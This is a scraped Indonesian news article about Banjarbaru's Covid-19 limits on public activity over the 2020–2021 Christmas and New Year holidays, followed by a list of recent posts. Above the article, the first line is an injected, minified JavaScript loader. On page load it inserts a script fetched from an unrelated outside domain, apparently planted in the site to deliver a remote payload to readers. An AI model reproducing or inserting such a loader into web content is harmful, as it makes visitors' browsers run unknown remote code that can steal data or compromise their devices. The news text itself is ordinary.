(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

BREAKING NEWS. Libur Nataru di Banjarbaru Area Publik Ditutup Pukul 6 Sore


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru menetapkan adanya pembatasan kegiatan masyarakat selama masa libur Natal dan Tahun Baru (Nataru) 2021.

Hal itu sebagaimana maklumat hasil kesepakatan bersama seluruh unsur Forum Komunikasi Pimpinan Daerah (Forkopimda) Kota Banjarbaru, baik itu pihak pemerintah, kepolisian, TNI, serta kejaksaan.

Dalam konferensi pers, Rabu (23/12/2020) pagi, Sekretaris Daerah (Sekda) Kota Banjarbaru, H Said Abdullah mengungkapkan bahwa kebijakan ini mempertimbangkan situasi nasional terkait dengan bertambahnya jumlah penderita Covid-19 secara signifikan setelah masa libur.

Maka dari itu, kata Sekda, pihaknya telah mengeluarkan kebijakan dalam rangka antisipasi penyebaran dan upaya penanganan pandemi secara baik, cepat, dan tepat. Salah satunya, pembatasan kegiatan masyarakat di area publik saat libur Natal 2020 dan Tahun Baru 2021.

 

“Kami meminta masyarakat mengutamakan aktivitas di rumah selama masa libur dan senantiasa menerapkan Protokol Kesehatan (3M) dalam setiap aktivitas. Menghindari kerumunan dan kegiatan yang melibatkan banyak orang,” katanya.

Selain itu, Said mengungkapkan bahwa pembatasan kegiatan masyarakat di area publik, berlaku sejak tanggal 24-31 Desember 2020. Selama itu juga, katanya, tempat hiburan umum baik itu karaoke, bioskop, cafe, dan tempat  wisata harus menghentikan aktivitas maksimal pukul 18.00 Wita.

“Termasuk juga aktivitas di Lapangan Murjani, Minggu Raya dan sekitarnya ditutup maksimal pada pukul 18.00 Wita,” tegasnya.

Lantas, bagaimana jika tempat usaha yang melanggar seluruh ketentuan tersebut? Dalam hal ini, Sekda menegaskan bahwa ada sanksi yang diberikan kepada setiap pengelolaa tempat usaha.

“Sebagaimana ketentuan yang berlaku, kita akan menutup tempat usahanya sementara waktu,” terangnya.

Terkahir, pemerintah juga melarang adanya kegiatan pesta perayaan tahun baru, seperti halnya pesta perayaan kembang api. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

Al Ghifari

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

10 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

12 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

14 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

15 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

15 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

17 jam ago

This website uses cookies.